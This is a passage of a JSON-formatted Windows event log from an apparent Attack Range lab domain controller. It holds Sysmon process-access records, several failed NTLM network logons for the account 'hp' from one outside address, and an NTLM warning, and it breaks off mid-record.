\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2253,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.345\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.345","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2254,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.345\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.345","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2255,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.345\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.345","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2256,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.345\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.345","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2257,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.345\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FF2-5F2D-0000-0010F18E0300}\r\nTargetProcessId: 3828\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.345","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FF2-5F2D-0000-0010F18E0300}","TargetProcessId":"3828","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2258,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.345\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FF2-5F2D-0000-0010F18E0300}\r\nTargetProcessId: 3828\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.345","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FF2-5F2D-0000-0010F18E0300}","TargetProcessId":"3828","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221515,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t62556\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"62556","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221516,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t62729\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"62729","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221517,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t62883\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"62883","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"WARNING","SeverityValue":3,"Severity":"WARNING","EventID":6038,"SourceName":"LsaSrv","ProviderGuid":"{199FE037-2B82-40A9-82AC-E1D46C792B99}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76811,"ProcessID":0,"ThreadID":0,"Channel":"System","Message":"Microsoft Windows Server has detected that NTLM authentication is presently being used between clients and this server. This event occurs once per boot of the server on the first time a client uses NTLM with this server.\r\n \r\nNTLM is a weaker authentication mechanism. Please check:\r\n \r\n Which applications are using NTLM authentication?\r\n Are there configuration issues preventing the use of stronger authentication such as Kerberos authentication?\r\n If NTLM must be supported, is Extended Protection configured?\r\n \r\nDetails on how to complete these checks can be found at http://go.microsoft.com/fwlink/?LinkId=225699.","Opcode":"Info","EventReceivedTime":"2020-08-07 11:50:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2259,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.469\r\nProcessGuid: 